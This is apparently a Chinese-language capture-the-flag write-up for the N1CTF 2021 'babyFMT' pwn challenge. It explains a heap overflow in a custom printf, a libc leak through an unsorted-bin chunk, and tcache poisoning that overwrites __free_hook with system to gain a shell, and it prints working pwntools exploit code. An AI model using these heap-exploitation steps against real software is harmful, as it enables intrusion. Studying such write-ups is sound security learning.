n1uctf babyFMT 堆溢出學習記錄-
n1uctf babyFMT
在做這道題的時候一直以為是格式化字符漏洞,沒有發現真正的問題,最后看了官方的wp才明白。
題目給出了libc文件,2.31 ubunt20.04的版本,通過題目名字可以看上去一題應該跟格式化字符串有些關系,檢查一下文件的保護措施發現基本上全開,程序加載地址隨機,沒辦法直接寫入內存所以需要想辦法泄露libc的基地址。

拖入ida分析文件,程序的漏洞點主要在babyprintf,該函數是作者實現的一個類似printf的功能,支持%m %r %%,%m相當于%d,%r則相當于%s,%%只是單純的將%打印出來,默認行為是將%后面的字符轉換成ascii字符打印出來。
而show函數允許我們輸入一串格式字符來按照我們的格式輸出,后面分別傳入 *author,size,*content。雖然我們直接控制了格式字符,然而在babyprintf中沒有可以執行寫入內存的功能劫持程序。
{ memset(v23, 0, 0x100uLL); babyprintf("You can show book by yourself", a1, a2, a3, a4, v12, v13, a7, a8); babyscanf("My format %s ", v23, 256, v14, v15, v16); babyprintf(v23, a1, a2, a3, a4, v17, v18, a7, a8, list[v22] + 8LL, *list[v22], list[v22] + 24LL); babyprintf("Success!", a1, a2, a3, a4, v19, v20, a7, a8); }
實際上真正的漏洞在于babyprintf函數中,先通過strlen判斷格式字符的長度并申請一塊內存作為buf,strlen遇到’\x00’會截斷,但是babyprintf會繼續將’\x00’后面的字符串復制到buf中,造成堆溢出。
v12 = strlen(a1);if ( *a1 ) { v13 = a1; v14 = *a1; do { if ( v14 == '%' ) v12 += 16; // 一個% 長度+16 v14 = *++v13; } while ( v14 ); v15 = malloc(v12); }
題目給出的glibc版本是2.31,似乎glibc<2.32的版本都可以通過unsorted泄露libc地址,本地測試glibc2.32官方版沒有泄露地址 chunk在malloc的時候被置0了。讓chunk進入unsorted有兩種辦法,一是 tcache每種大小的chunk默認容納7個,超出會放到unsorted bins;二是 tcache entries數組最大默認是64個元素,也就是64*16=1024。所以這里我們可以直接申請大于0x400的chunk就會進入unsroted。
typedef struct tcache_perthread_struct{ uint16_t counts[TCACHE_MAX_BINS]; //每個bins容納的chunk的數量,默認是7個 tcache_entry *entries[TCACHE_MAX_BINS]; //容納64個bins 最大0x400} tcache_perthread_struct;
//libc中大小轉idx的宏,因此idx最大為64*MALLOC_ALIGNMENT# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
申請一個0x450的內存 free此內存進行釋放,chunk進入unsorted此時chunk的fd和bk指針都指向main_arena,再malloc回來chunk中的信息不會清空,直接使用程序的show功能打印出泄露地址,得到地址我們就能根據偏移算出libc的加載地址。

獲得libc地址后我們就可以通過babyprintf的堆溢出漏洞 來覆蓋相鄰的下一個chunk的fd地址來達到malloc任意地址的目的。
首先通過調試觀察發現:程序開始執行tcache中已經有了兩個chunk,這是程序調用babyprintf打印開始menu菜單申請的buf,可以看到出兩個chunk是相鄰的,而我們剛剛用來泄露內存申請的空間和0x20這個chunk的是相鄰的chunk,因為malloc申請內存是挨著申請的。我們構造一個’%\x00aaaaaa….’這樣的字符串給show函數,因為\x00截斷show函數會從內存申請17字節的空間,而0x20的這個chunk滿足請求的大小被返回給show函數,\x00后面的字符串溢出到相鄰下一個chunk。

add(0x450,b'admin',b'a')#0add(0x100,b'123',b'123')#1 free(0)add(0x50,b'',b'aaaaaa')#0 //0x50 會直接從unsroted 0x450的chunk進行分割,所以依然和0x20這個chunk相鄰show(0,b'AAAA%rBBBB')p.recvuntil('AAAA')libc.address = u64(p.recvuntil("BBBB",drop=True)+b"\x00\x00")-0x1ebfe0add(0x50,b'',b'aaaaaa')#2 //這里add 0x50然后free為了構造鏈表free(2)free(0)
show(1,b'%\x00'+cyclic(32)+p64(libc.sym['__free_hook']-0x10)) #溢出覆蓋下個chunk的fd
現在0x50的鏈表的結構是這個樣子(因為程序會自動加上24字節的空間來保存author還有大小信息,所以這里申請的大小是0x70),鏈表指向下一個chunk的指針指向了__free_hook 的地址減去0x10,再申請兩次0x50大小的內存會直接malloc到我們構造的地方。

而這里減去0x10是因為add()函數會往后偏移8個字節再寫入我們輸入的內容,減去16使add正好將地址寫入到free_hook指針的位置

如果我們直接覆蓋為__free_hook – 8,經過調試發現babyscanf 有一條判斷 如果輸入的字符二進制等于0x20直接結束輸入,而2.31版本的 free_hook地址正好為0x28,導致直接輸入結束。所以直接再偏移一個8字節防止程序直接結束。


最后直接調用add將system的地址覆蓋free_hook,再調用任意使用了free的函數getshell
add(0x50,p64(libc.sym['system'])*2,b'aaaaaaaa')add(0x50,p64(libc.sym['system'])*2,b'aaaaa')show(1,b'/bin/sh\x00')p.interactive()
參考鏈接
n1ctf-2021/Pwn/babyFMT at main · Nu1LCTF/n1ctf-2021 (github.com)